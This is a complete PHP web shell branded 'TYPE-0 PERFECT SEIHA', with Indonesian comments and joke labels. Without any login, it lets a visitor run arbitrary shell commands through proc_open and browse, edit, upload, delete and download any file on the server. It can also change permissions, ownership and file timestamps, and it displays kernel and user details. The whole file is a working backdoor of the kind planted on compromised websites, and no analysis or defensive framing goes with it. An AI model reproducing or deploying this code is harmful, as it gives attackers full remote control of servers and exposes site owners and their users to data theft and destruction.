<?php
// Error reporting (hapus pada produksi)
error_reporting(E_ALL);
ini_set('display_errors', 1);

// Fungsi untuk mendapatkan direktori saat ini dengan aman
function getCurrentDir() {
    $currentDir = isset($_GET['dir']) ? $_GET['dir'] : __DIR__;
    if (isset($_GET['dir']) && is_dir($_GET['dir'])) {
        $currentDir = realpath($_GET['dir']);
    }
    return $currentDir;
}
$kernel = php_uname('a');
$serverSoftware = getenv('SERVER_SOFTWARE');
$currentUser = get_current_user();


$currentDir = getCurrentDir();
chdir($currentDir);

// Fungsi untuk mendaftar file dan direktori
function listFiles($dir, $showHidden = false) {
    $items = array();
    if (is_dir($dir)) {
        if ($dh = opendir($dir)) {
            while (($file = readdir($dh)) !== false) {
                if ($file != '.' && $file != '..' && ($showHidden || $file[0] !== '.')) {
                    $filePath = $dir . '/' . $file;
                    $fileInfo = stat($filePath);
                    $permissions = substr(sprintf('%o', fileperms($filePath)), -4);
                    $lastModified = date('Y-m-d H:i:s', $fileInfo['mtime']);
                    
                    if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
                        $pwuid = @posix_getpwuid($fileInfo['uid']);
                        $grgid = @posix_getgrgid($fileInfo['gid']);
                        $userGroup = $pwuid['name'] . '/' . $grgid['name'];
                    } else {
                        $userGroup = 'Unknown/Unknown';
                    }

                    $size = is_dir($filePath) ? '-' : filesize($filePath);
                    $permissionClass = is_writable($filePath) ? 'permission-green' : 'permission-red';

                    $items[] = array(
                        'name' => $file,
                        'size' => $size,
                        'permissions' => $permissions,
                        'lastModified' => $lastModified,
                        'userGroup' => $userGroup,
                        'path' => $filePath,
                        'isDir' => is_dir($filePath),
                        'permissionClass' => $permissionClass
                    );
                }
            }
            closedir($dh);
        }
    }
    return $items;
}

// Handle file operations
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_POST['action']) && isset($_POST['items'])) {
        $action = $_POST['action'];
        $items = $_POST['items'];

        switch ($action) {
            case 'delete':
                function deleteDirectory($dir) {
                    if (!file_exists($dir)) {
                        return true;
                    }

                    if (!is_dir($dir)) {
                        return unlink($dir);
                    }

                    foreach (scandir($dir) as $item) {
                        if ($item == '.' || $item == '..') {
                            continue;
                        }

                        if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) {
                            return false;
                        }
                    }

                    return rmdir($dir);
                }

                foreach ($items as $item) {
                    if (is_file($item)) {
                        if (unlink($item)) {
                            $message = 'File berhasil dicrot.';
                        } else {
                            $message = 'Gagal ngecrot file.';
                            break;
                        }
                    } elseif (is_dir($item)) {
                        if (deleteDirectory($item)) {
                            $message = 'Direktori berhasil dicrot.';
                        } else {
                            $message = 'Gagal ngecrot direktori.';
                            break;
                        }
                    }
                }
                break;

            case 'chmod':
                if (isset($_POST['permissions'])) {
                    $permissions = $_POST['permissions'];
                    if (preg_match('/^[0-7]{3,4}$/', $permissions)) {
                        foreach ($items as $item) {
                            if (file_exists($item)) {
                                chmod($item, octdec($permissions));
                            }
                        }
                        $message = "Permissions diubah menjadi $permissions untuk item yang dicrot.";
                    } else {
                        $message = 'Format permission tidak crot.';
                    }
                }
                break;

            case 'rename':
                if (isset($_POST['new_name']) && count($items) === 1) {
                    $oldName = $items[0];
                    $newName = dirname($oldName) . '/' . $_POST['new_name'];
                    if (rename($oldName, $newName)) {
                        $message = "Berhasil ngecrot nama.";
                    } else {
                        $message = "Gagal ngecrot nama.";
                    }
                }
                break;

            case 'chown':
                if (isset($_POST['new_owner']) && function_exists('chown')) {
                    $newOwner = $_POST['new_owner'];
                    foreach ($items as $item) {
                        if (chown($item, $newOwner)) {
                            $message = "Kepemilikan berhasil dicrot.";
                        } else {
                            $message = "Gagal ngecrot kepemilikan.";
                        }
                    }
                }
                break;

            case 'touch':
                if (isset($_POST['new_time'])) {
                    $newTime = strtotime($_POST['new_time']);
                    if ($newTime !== false) {
                        foreach ($items as $item) {
                            if (touch($item, $newTime)) {
                                $message = "Timestamp berhasil dicrot.";
                            } else {
                                $message = "Gagal ngecrot timestamp.";
                            }
                        }
                    } else {
                        $message = "Format tanggal/waktu tidak crot.";
                    }
                }
                break;

            case 'zip':
                $zipName = 'archive_' . time() . '.zip';
                $zip = new ZipArchive();
                if ($zip->open($currentDir . '/' . $zipName, ZipArchive::CREATE) === TRUE) {
                    foreach ($items as $item) {
                        $relativePath = str_replace($currentDir . '/', '', $item);
                        if (is_file($item)) {
                            $zip->addFile($item, $relativePath);
                        } elseif (is_dir($item)) {
                            $zip->addEmptyDir($relativePath);
                            $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($item));
                            foreach ($iterator as $file) {
                                if (!$file->isDir()) {
                                    $filePath = $file->getRealPath();
                                    $relativePath = substr($filePath, strlen($currentDir) + 1);
                                    $zip->addFile($filePath, $relativePath);
                                }
                            }
                        }
                    }
                    $zip->close();
                    $message = "File berhasil di-crot.";
                } else {
                    $message = "Gagal membuat file crot.";
                }
                break;

            case 'unzip':
                foreach ($items as $item) {
                    if (pathinfo($item, PATHINFO_EXTENSION) === 'zip') {
                        $zip = new ZipArchive;
                        if ($zip->open($item) === TRUE) {
                            $zip->extractTo($currentDir);
                            $zip->close();
                            $message = "File berhasil di-crot.";
                        } else {
                            $message = "Gagal meng-crot file.";
                        }
                    }
                }
                break;

            case 'download':
                if (count($items) === 1) {
                    $file = $items[0];
                    if (is_file($file)) {
                        header('Content-Description: File Transfer');
                        header('Content-Type: application/octet-stream');
                        header('Content-Disposition: attachment; filename="'.basename($file).'"');
                        header('Expires: 0');
                        header('Cache-Control: must-revalidate');
                        header('Pragma: public');
                        header('Content-Length: ' . filesize($file));
                        readfile($file);
                        exit;
                    } else {
                        $message = "Tidak dapat ngecrot direktori.";
                    }
                } else {
                    $message = "Pilih satu file untuk dicrot.";
                }
                break;
        }
    }

    // Handle file upload
    if (isset($_FILES['files'])) {
        $uploadedFiles = $_FILES['files'];
        $uploadSuccess = 0;
        $uploadFail = 0;

        foreach ($uploadedFiles['name'] as $key => $name) {
            if ($uploadedFiles['error'][$key] === UPLOAD_ERR_OK) {
                $tmpName = $uploadedFiles['tmp_name'][$key];
                $destination = $currentDir . '/' . $name;
                if (move_uploaded_file($tmpName, $destination)) {
                    $uploadSuccess++;
                } else {
                    $uploadFail++;
                }
            } else {
                $uploadFail++;
            }
        }

        if ($uploadSuccess > 0) {
            $message = "$uploadSuccess file berhasil dicrot.";
        }
        if ($uploadFail > 0) {
            $message = "$uploadFail file gagal dicrot.";
        }
    }

    // Handle create file
    if (isset($_POST['new_file']) && !empty($_POST['new_file'])) {
        $newFile = $currentDir . '/' . $_POST['new_file'];
        if (!file_exists($newFile)) {
            if (touch($newFile)) {
                $message = "File baru berhasil dicrot.";
            } else {
                $message = "Gagal ngecrot file baru.";
            }
        } else {
            $message = "File dah ada.";
        }
    }

    // Handle create directory
    if (isset($_POST['new_dir']) && !empty($_POST['new_dir'])) {
        $newDir = $currentDir . '/' . $_POST['new_dir'];
        if (!file_exists($newDir)) {
            if (mkdir($newDir)) {
                $message = "Direktori baru berhasil dicrot.";
            } else {
                $message = "Gagal ngecrot direktori baru.";
            }
        } else {
            $message = "Direktori dah ada.";
        }
    }
}

// Handle file editing
if (isset($_GET['edit'])) {
    $fileToEdit = $_GET['edit'];
    if (is_file($fileToEdit)) {
        if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['save'])) {
            $content = $_POST['content'];
            file_put_contents($fileToEdit, $content);
            $message = "File berhasil dicrot.";
        }
        $content = file_get_contents($fileToEdit);
    }
}

// Toggle hidden files
$showHidden = isset($_GET['show_hidden']) ? $_GET['show_hidden'] === '1' : false;

// Get file list
$files = listFiles($currentDir, $showHidden);

// Handle command execution
$commandOutput = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['command'])) {
    $command = $_POST['command'];
    $descriptorspec = array(
        0 => array("pipe", "r"),  // stdin
        1 => array("pipe", "w"),  // stdout
        2 => array("pipe", "w")   // stderr
    );
    $process = proc_open($command, $descriptorspec, $pipes);
    if (is_resource($process)) {
        $commandOutput = stream_get_contents($pipes[1]);
        fclose($pipes[1]);
        proc_close($process);
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>TYPE-0 PERFECT SEIHA</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            line-height: 1.6;
            margin: 0;
            padding: 20px;
            background-color: #e0f7fa; /* Latar belakang aqua muda */
            color: #00363a; /* Warna teks gelap untuk kontras */
        }
        .container {
            max-width: 1200px;
            margin: 0 auto;
            background-color: #ffffff; /* Latar belakang putih */
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 0 15px rgba(0,0,0,0.1);
        }
        h1 {
            color: #006064; /* Warna aqua gelap untuk judul */
            text-align: center;
            margin-bottom: 20px;
        }
        table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 20px;
            background-color: #ffffff;
        }
        th, td {
            padding: 12px;
            border: 1px solid #b2ebf2; /* Border aqua muda */
            text-align: left;
        }
        th {
            background-color: #4dd0e1; /* Header tabel aqua */
            color: white;
            font-weight: bold;
        }
        tr:nth-child(even) {
            background-color: #e0f7fa; /* Baris genap aqua sangat muda */
        }
        tr:hover {
            background-color: #b2ebf2; /* Hover effect aqua muda */
        }
        .hidden-file { color: #78909c; }
        .permission-green { color: #00897b; }
        .permission-red { color: #d32f2f; }
        .breadcrumb {
            list-style: none;
            padding: 10px;
            background-color: #4dd0e1; /* Breadcrumb aqua */
            border-radius: 5px;
            margin-bottom: 20px;
        }
        .breadcrumb li {
            display: inline;
            font-size: 16px;
        }
        .breadcrumb li+li:before {
            padding: 8px;
            color: white;
            content: "/\00a0";
        }
        .breadcrumb li a {
            color: white;
            text-decoration: none;
        }
        .breadcrumb li a:hover {
            text-decoration: underline;
        }
        form {
            margin-bottom: 20px;
            background-color: #ffffff;
            padding: 15px;
            border-radius: 5px;
            box-shadow: 0 2px 5px rgba(0,0,0,0.1);
        }
        input[type="text"], input[type="file"], select {
            padding: 8px;
            margin-right: 10px;
            border: 1px solid #b2ebf2;
            border-radius: 4px;
        }
        button {
            padding: 8px 15px;
            background-color: #00acc1; /* Tombol aqua */
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
            transition: background-color 0.3s;
        }
        button:hover {
            background-color: #007c91; /* Tombol aqua gelap saat hover */
        }
        #commandOutput {
            background-color:  #f1f8e9;
            border: 1px solid #c5e1a5;
            padding: 10px;
            margin-top: 10px;
            white-space: pre-wrap;
            border-radius: 4px;
        }
        /* Styling untuk checkbox */
        input[type="checkbox"] {
            margin-right: 5px;
        }
        /* Styling untuk action select */
        #action-select {
            padding: 8px;
            border: 1px solid #b2ebf2;
            border-radius: 4px;
            background-color: white;
        }
        #action-inputs {
            margin-top: 10px;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>TYPE-0 PERFECT SEIHA</h1>
        <?php 
		echo "Server Info: <span style='color:#00897b;'>$kernel</span><br>";
		echo "Software: <span style='color:#00897b;'>$serverSoftware</span><br>";
		echo "User: <span style='color:#00897b;'>$currentUser</span><br>";
		?>
        <?php if (isset($message)): ?>
            <p style="background-color: #b2dfdb; padding: 10px; border-radius: 4px;"><strong><?php echo htmlspecialchars($message); ?></strong></p>
        <?php endif; ?>

        <form method="POST" enctype="multipart/form-data">
            <input type="file" name="files[]" multiple>
            <button type="submit">Crot</button><br>
			<input type="text" name="new_file" placeholder="New File">
            <button type="submit">Crot File</button><br>
			<input type="text" name="new_dir" placeholder="New Dir">
            <button type="submit">Crot Dir</button>
        </form>

        <form method="POST">
            <input type="text" name="command" placeholder="echo Type-0">
            <button type="submit">Crot Command</button>
        </form>
        <?php if (!empty($commandOutput)): ?>
            <div id="commandOutput"><?php echo htmlspecialchars($commandOutput); ?></div>
        <?php endif; ?>
		<?php
        // Render breadcrumb
        $pathParts = explode('/', $currentDir);
        echo '<ul class="breadcrumb">';
        echo '<li><a href="?dir=' . urlencode(__DIR__) . '">[HOME]</a></li>';
        $currentPath = '';
        foreach ($pathParts as $part) {
            if ($part !== '') {
                $currentPath .= '/' . $part;
                echo '<li><a href="?dir=' . urlencode($currentPath) . '">' . htmlspecialchars($part) . '</a></li>';
            }
        }
        echo '</ul>';
        ?>
		<form method="GET">
            <input type="hidden" name="dir" value="<?php echo htmlspecialchars($currentDir); ?>">
            <label>
                <input type="checkbox" name="show_hidden" value="1" <?php echo $showHidden ? 'checked' : ''; ?> onchange="this.form.submit()">
                Show Hidden Files
            </label>
        </form>
        <?php
        // File editor
        if (isset($fileToEdit)) {
            echo '<h3>Edit File: ' . htmlspecialchars($fileToEdit) . '</h3>';
            echo '<form method="POST">';
            echo '<textarea name="content" rows="20" cols="100">' . htmlspecialchars($content) . '</textarea><br>';
            echo '<input type="hidden" name="filename" value="' . htmlspecialchars($fileToEdit) . '">';
            echo '<button type="submit" name="save">Crotin</button>';
            echo '</form>';
        }
        ?>

        <form method="POST">
            <table>
                <thead>
                    <tr>
                        <th><input type="checkbox" id="select-all"></th>
                        <th>Name</th>
                        <th>Size</th>
                        <th>Permissions</th>
                        <th>Modified</th>
                        <th>User/Group</th>
                    </tr>
                </thead>
                <tbody>
                    <?php foreach ($files as $file): ?>
                        <tr class="<?php echo $file['isDir'] ? 'directory' : 'file'; ?> <?php echo $file['name'][0] === '.' ? 'hidden-file' : ''; ?>">
                            <td><input type="checkbox" name="items[]" value="<?php echo htmlspecialchars($file['path']); ?>"></td>
                            <td>
                                <?php if ($file['isDir']): ?>
                                    <a href="?dir=<?php echo urlencode($file['path']); ?>&show_hidden=<?php echo $showHidden ? '1' : '0'; ?>"><?php echo htmlspecialchars($file['name']); ?></a>
                                <?php else: ?>
                                    <a href="?dir=<?php echo urlencode($currentDir); ?>&edit=<?php echo urlencode($file['path']); ?>&show_hidden=<?php echo $showHidden ? '1' : '0'; ?>"><?php echo htmlspecialchars($file['name']); ?></a>
                                <?php endif; ?>
                            </td>
                            <td><?php echo $file['size']; ?></td>
                            <td class="<?php echo $file['permissionClass']; ?>"><?php echo $file['permissions']; ?></td>
                            <td><?php echo $file['lastModified']; ?></td>
                            <td><?php echo $file['userGroup']; ?></td>
                        </tr>
                    <?php endforeach; ?>
                </tbody>
            </table>

            <div>
                <select name="action" id="action-select">
                    <option value="">NGANU</option>
                    <option value="rename">Rename</option>
                    <option value="delete">Hapus</option>
                    <option value="chmod">Chmod</option>
                    <option value="chown">Chown</option>
                    <option value="touch">Touch</option>
                    <option value="zip">Zip</option>
                    <option value="unzip">Unzip</option>
                    <option value="download">Download</option>
                </select>
                <div id="action-inputs" style="display:none;">
                    <input type="text" name="new_name" placeholder="Rename">
                    <input type="text" name="permissions" placeholder="777">
                    <input type="text" name="new_owner" placeholder="type0:type0">
                    <input type="datetime-local" name="new_time" placeholder="Timestamp">
                </div>
                <button type="submit">Crotin</button>
            </div>
        </form>
    </div>

    <script>
        // Fungsi Select All checkbox
        document.getElementById('select-all').addEventListener('change', function() {
            var isChecked = this.checked;
            var checkboxes = document.querySelectorAll('input[name="items[]"]');
            checkboxes.forEach(function(checkbox) {
                checkbox.checked = isChecked;
            });
        });

        // Tampilkan/sembunyikan input aksi berdasarkan aksi yang dipilih
        document.getElementById('action-select').addEventListener('change', function() {
            var actionInputs = document.getElementById('action-inputs');
            actionInputs.style.display = this.value ? 'block' : 'none';
        });
    </script>
</body>
</html>